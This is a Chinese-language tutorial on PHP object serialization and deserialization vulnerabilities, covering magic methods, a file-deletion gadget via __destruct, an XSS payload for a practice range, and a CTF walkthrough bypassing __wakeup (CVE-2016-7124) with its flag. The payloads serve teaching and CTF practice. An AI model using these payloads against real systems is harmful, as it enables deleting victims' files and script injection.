詳細解析PHP反序列化漏洞

2022-04-07 13:00:07
本篇文章給大家帶來了關於的相關知識,其中主要介紹了關於反序列化漏洞的相關問題,包括了PHP物件導向程式設計、序列化與反序列化、反序列化漏洞原理等等內容,希望對大家有幫助。

推薦學習:《》

一、PHP物件導向程式設計

物件導向的程式設計(Object-oriented programming,OOP)中,

物件是一個由資訊及對資訊進行處理的描述所組成的整體,是對現實世界的抽象。

是一個共用相同結構和行為的物件的集合。每個類的定義都以關鍵字class開頭,後面跟著類的名字。

建立一個PHP類:

<?php
class TestClass //定義一個類
{
//一個變數
public $variable = 'This is a string';
//一個方法
public function PrintVariable()
{
echo $this->variable;
}
}
//建立一個物件
$object = new TestClass();
//呼叫一個方法
$object->PrintVariable();
?>

public、protected、private

PHP 對屬性或方法的存取控制,是通過在前面新增關鍵字 public(公有),protected(受保護)或 private(私有)來實現的。

public(公有):公有的類成員可以在任何地方被存取

protected(受保護):受保護的類成員則可以被其自身以及其子類和父類別存取

private(私有):私有的類成員則只能被其定義所在的類存取

注意:存取控制修飾符不同,序列化後屬性的長度和屬性值會有所不同,如下所示:

public:屬性被序列化的時候屬性值會變成 屬性名

protected:屬性被序列化的時候屬性值會變成 \x00*\x00屬性名

private:屬性被序列化的時候屬性值會變成 \x00類名\x00屬性名

其中:\x00表示空字元,但是還是佔用一個字元位置(空格),如下例

<?phpclass People{
    public $id;
    protected $gender;
    private $age;
    public function __construct(){
        $this->id = 'Hardworking666';
        $this->gender = 'male';
        $this->age = '18';
    }}$a = new People();echo serialize($a);?>
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:" * gender";s:4:"male";s:11:" People age";s:2:"18";}

魔術方法(magic函數)

PHP中把以兩個下劃線__開頭的方法稱為魔術方法(Magic methods)

PHP官方——魔術方法
PHP中16 個魔術方法詳解

類可能會包含一些特殊的函數:magic函數,這些函數在某些情況下會自動呼叫

__construct()            //類別建構函式,建立物件時觸發

__destruct()             //類的解構函式,物件被銷燬時觸發

__call()                 //在物件上下文中呼叫不可存取的方法時觸發

__callStatic()           //在靜態上下文中呼叫不可存取的方法時觸發

__get()                  //讀取不可存取屬性的值時,這裡的不可存取包含私有屬性或未定義

__set()                  //在給不可存取屬性賦值時觸發

__isset()                //當對不可存取屬性呼叫 isset() 或 empty() 時觸發

__unset()                //在不可存取的屬性上使用unset()時觸發

__invoke()               //當嘗試以呼叫函數的方式呼叫一個物件時觸發

__sleep()                //執行serialize()時,先會呼叫這個方法

__wakeup()               //執行unserialize()時,先會呼叫這個方法

__toString()             //當反序列化後的物件被輸出在模板中的時候(轉換成字串的時候)自動呼叫

serialize() 函數會檢查類中是否存在一個魔術方法。如果存在,該方法會先被呼叫,然後才執行序列化操作。

我們需要重點關注一下5個魔術方法,所以再強調一下:

__construct:建構函式,當一個物件建立時呼叫

__destruct:解構函式,當一個物件被銷燬時呼叫

__toString:當一個物件被當作一個字串時使用

__sleep:在物件序列化的時候呼叫

__wakeup:物件重新醒來,即由二進位制串重新組成一個物件的時候(在一個物件被反序列化時呼叫)

從序列化到反序列化這幾個函數的執行過程是:

__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

<?php
class TestClass
{
    //一個變數
    public $variable = 'This is a string';
    //一個方法
    public function PrintVariable()
    {
        echo $this->variable.'<br />';
    }
    //建構函式
    public function  __construct()
    {
        echo '__construct<br />';
    }
    //解構函式
    public function __destruct()
    {
        echo '__destruct<br />';
    }
    //當物件被當作一個字串
    public function __toString()
    {
        return '__toString<br />';
    }
}
//建立一個物件
//__construct會被呼叫
$object = new TestClass();
//建立一個方法
//‘This is a string’將會被輸出
$object->PrintVariable();
//物件被當作一個字串
//toString會被呼叫
echo $object;
//php指令碼要結束時,__destruct會被呼叫
?>

輸出結果:

__construct
This is a string
__toString
__destruct

__toString()這個魔術方法能觸發的因素太多,所以有必要列一下:

1.  echo($obj)/print($obj)列印時會觸發 
2.  反序列化物件與字串連線時 
3.  反序列化物件參與格式化字串時 
4.  反序列化物件與字串進行==比較時(PHP進行==比較的時候會轉換引數型別) 
5.  反序列化物件參與格式化SQL語句,繫結引數時 
6.  反序列化物件在經過php字串處理常式,如strlen()、strops()、strcmp()、addslashes()等 
7.  在in_array()方法中,第一個引數時反序列化物件,第二個引數的陣列中有__toString()返回的字串的時候__toString()會被呼叫 
8.  反序列化的物件作為class_exists()的引數的時候

魔術方法在反序列化攻擊中的作用

反序列化的入口在unserialize(),只要引數可控並且這個類在當前作用域存在,就能傳入任何已經序列化的物件,而不是侷限於出現unserialize()函數的類的物件。

如果只能侷限於當前類,那攻擊面就太小了,而且反序列化其他類物件只能控制屬性,如果沒有完成反序列化後的程式碼中呼叫其他類物件的方法,還是無法利用漏洞進行攻擊。

但是,利用魔術方法就可以擴大攻擊面,魔術方法是在該類序列化或者反序列化的同時自動完成的,這樣就可以利用反序列化中的物件屬性來操控一些能利用的函數,達到攻擊的目的。

通過下例理解魔術方法在反序列漏洞中的作用,程式碼如下:

二、PHP序列化和反序列化

PHP序列化

有時需要把一個物件在網路上傳輸,為了方便傳輸,可以把整個物件轉化為二進位制串,等到達另一端時,再還原為原來的物件,這個過程稱之為序列化(也叫序列化)。

json資料使用 , 分隔開,資料內使用 : 分隔

json資料其實就是個陣列,這樣做的目的也是為了方便在前後端傳輸資料,後端接受到json資料,可以通過json_decode()得到原資料,
這種將原本的資料通過某種手段進行"壓縮",並且按照一定的格式儲存的過程就可以稱之為序列化。

有兩種情況必須把物件序列化:
把一個物件在網路中傳輸
把物件寫入檔案或資料庫

相關概念可以參考我以前的文章:
Python序列化與反序列化詳解(包括json和json模組詳解)

PHP序列化:把物件轉化為二進位制的字串,使用serialize()函數
PHP反序列化:把物件轉化的二進位制字串再轉化為物件,使用unserialize()函數

通過例子來看PHP序列化後的格式:

<?php
class User
{
    //類的資料
    public $age = 0;
    public $name = '';
    //輸出資料
    public function printdata()
    {
        echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
    } // 「.」表示字串連線
}
//建立一個物件
$usr = new User();
//設定資料
$usr->age = 18;
$usr->name = 'Hardworking666';
//輸出資料
$usr->printdata();
//輸出序列化後的資料
echo serialize($usr)
?>

輸出結果:

User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}

下面的 O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";} 就是物件user序列化後的形式。

「O」表示物件,「4」表示物件名長度為4,「User」為物件名,「2」表示有2個引數

「{}」裡面是引數的key和value,

「s」表示string物件,「3」表示長度,「age」則為key;「i」是interger(整數)物件,「18」是value,後面同理。

序列化格式:

a - array 陣列型
b - boolean 布林型
d - double 浮點型
i - integer 整數型
o - common object 共同物件
r - objec reference 物件參照
s - non-escaped binary string 非跳脫的二進位制字串
S - escaped binary string 跳脫的二進位制字串
C - custom object 自定義物件
O - class 物件
N - null 空
R - pointer reference 指標參照
U - unicode string Unicode 編碼的字串

PHP序列化需注意以下幾點:

1、序列化只序列屬性,不序列方法
2、因為序列化不序列方法,所以反序列化之後如果想正常使用這個物件的話我們必須要依託這個類要在當前作用域存在的條件
3、我們能控制的只有類的屬性,攻擊就是尋找合適能被控制的屬性,利用作用域本身存在的方法,基於屬性發動攻擊

PHP反序列化

對上例進行反序列化:

<?php
class User
{
    //類的資料
    public $age = 0;
    public $name = '';
    //輸出資料
    public function printdata()
    {
        echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
    }
}
//重建物件
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//輸出資料
$usr->printdata();
?>
User Hardworking666 is 18 years old.

_sleep 方法在一個物件被序列化時呼叫,_wakeup方法在一個物件被反序列化時呼叫

<?phpclass test{
    public $variable = '變數反序列化後都要銷燬'; //公共變數
    public $variable2 = 'OTHER';
    public function printvariable()
    {
        echo $this->variable.'<br />';
    }
    public function __construct()
    {
        echo '__construct'.'<br />';
    }
    public function __destruct()
    {
        echo '__destruct'.'<br />';
    }
    public function __wakeup()
    {
        echo '__wakeup'.'<br />';
    }
    public function __sleep()
    {
        echo '__sleep'.'<br />';
        return array('variable','variable2');
    }}//建立一個物件,回撥用__construct$object = new test();
    //序列化一個物件,會呼叫__sleep$serialized = serialize($object);
    //輸出序列化後的字串print 'Serialized:'.$serialized.'<br />';
    //重建物件,會呼叫__wakeup$object2 = unserialize($serialized);
    //呼叫printvariable,會輸出資料(變數反序列化後都要銷燬)$object2->printvariable();
    //指令碼結束,會呼叫__destruct?>
__construct
__sleep
Serialized:O:4:"test":2:{s:8:"variable";s:33:"變數反序列化後都要銷燬";s:9:"variable2";s:5:"OTHER";}__wakeup
變數反序列化後都要銷燬
__destruct
__destruct

從序列化到反序列化這幾個函數的執行過程是:
__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()

PHP為何要序列化和反序列化

PHP的序列化與反序列化其實是為了解決一個問題:PHP物件傳遞問題

PHP物件是存放在記憶體的堆空間段上的,PHP檔案在執行結束的時候會將物件銷燬

如果剛好要用到銷燬的物件,難道還要再寫一遍程式碼?所以為了解決這個問題就有了PHP的序列化和反序列化

從上文可以發現,我們可以把一個範例化的物件長久的儲存在計算機磁碟上,需要呼叫的時候只需反序列化出來即可使用。

三、PHP反序列化漏洞原理

序列化和反序列化本身沒有問題,

但是反序列化內容使用者可控

後臺不正當的使用了PHP中的魔法函數,就會導致安全問題。

當傳給unserialize()引數可控時,可以通過傳入一個精心構造的序列化字串,從而控制物件內部的變數甚至是函數。

呼叫__destruct刪除

存在漏洞的思路:一個類用於臨時將紀錄檔儲存進某個檔案,當__destruct被呼叫時,紀錄檔檔案將會被刪除:

//logdata.php<?phpclass logfile{
    //log檔名
    public $filename = 'error.log';
    //一些用於儲存紀錄檔的程式碼
    public function logdata($text)
    {
        echo 'log data:'.$text.'<br />';
        file_put_contents($this->filename,$text,FILE_APPEND);
    }
    //destrcuctor 刪除紀錄檔檔案
    public function __destruct()
    {
        echo '__destruct deletes '.$this->filename.'file.<br />';
        unlink(dirname(__FILE__).'/'.$this->filename);
    }}?>

呼叫這個類:

<?phpinclude 'logdata.php'class User{
    //類資料
    public $age = 0;
    public $name = '';
    //輸出資料
    public function printdata()
    {
        echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
    }}//重建資料$usr = unserialize($_GET['usr_serialized']);?>

程式碼$usr = unserialize($_GET['usr_serialized']);中的$_GET[‘usr_serialized’]是可控的,那麼可以構造輸入,刪除任意檔案。

如構造輸入刪除目錄下的index.php檔案:

<?php
include 'logdata.php';
$object = new logfile();
$object->filename = 'index.php';
echo serialize($object).'<br />';
?>

上面展示了由於輸入可控造成的__destruct函數刪除任意檔案,其實問題也可能存在於__wakeup__sleep__toString等其他magic函數。

比如,某使用者類定義了一個__toString,為了讓應用程式能夠將類作為一個字串輸出(echo $object),而且其他類也可能定義了一個類允許__toString讀取某個檔案。

XSS(跨站指令碼攻擊)攻擊

XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令程式碼到網頁,使使用者載入並執行攻擊者惡意製造的網頁程式。攻擊成功後,攻擊者可能得到包括但不限於更高的許可權(如執行一些操作)、私密網頁內容、對談和cookie等各種內容。

例如,皮卡丘靶場PHP反序列化漏洞

$html=";
if(isset($_POST['o'])){    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){        $html.="<p>錯誤輸出</p>";
    }else{        $html.="<p>{$unser->test)</p>";
    }

為了執行<script>alert('xss')</script>,Payload:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

其他知識點:

unserialize漏洞依賴條件
1、unserialize函數的引數可控
2、指令碼中存在一個建構函式(__construct())、解構函式(__destruct())、__wakeup()函數中有向PHP檔案中寫資料的操作類
3、所寫的內容需要有物件中的成員變數的值

防範方法
1、嚴格控制unserialize函數的引數,堅持使用者所輸入的資訊都是不可靠的原則
2、對於unserialize後的變數內容進行檢查,以確定內容沒有被汙染

四、範例

PHP反序列化繞過__wakeup() CTF例題

攻防世界xctf web unserialize3

開啟網址後的程式碼:

class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=

已知在使用 unserialize() 反序列化時會先呼叫 __wakeup()函數,

而本題的關鍵就是如何 繞過 __wakeup()函數,就是 在反序列化的時候不呼叫它

序列化的字串中的 屬性值 個數 大於 屬性個數 就會導致反序列化異常,從而繞過 __wakeup()

程式碼中的__wakeup()方法如果使用就是和unserialize()反序列化函數結合使用的
這裡沒有特別對哪個字串序列化,所以把xctf類範例化後,進行反序列化。

我們利用php中的new運運算元,範例化類xctf。

new 是申請空間的操作符,一般用於類。
比如定義了一個 class a{public i=0;}
$c = new a(); 相當於定義了一個基於a類的物件,這時候 $c->i 就是0

構造序列化的程式碼在編輯器內執行:

<?php
class xctf{
public $flag = '111'; //public定義flag變數公開可見
public function __wakeup(){
exit('bad requests');
}
}//題目少了一個},這裡補上
$a=new xctf();
echo(serialize($a));
?>

執行結果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

序列化返回的字串格式:

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}

O:表示序列化的是物件
<length>:表示序列化的類名稱長度
<class name>:表示序列化的類的名稱
<n>:表示被序列化的物件的屬性個數
<field name 1>:屬性名
<field value 1>:屬性值

所以要修改屬性值<n>,既把1改為2以上。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在url中輸入:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}

漏洞:
__wakeup繞過(CVE-2016-7124)
CVE-2016-7124:當序列化字串中表示物件屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行

官方給出的影響版本:
PHP5 < 5.6.25
PHP7 < 7.0.10

推薦學習:《》

以上就是詳細解析PHP反序列化漏洞的詳細內容,更多請關注TW511.COM其它相關文章!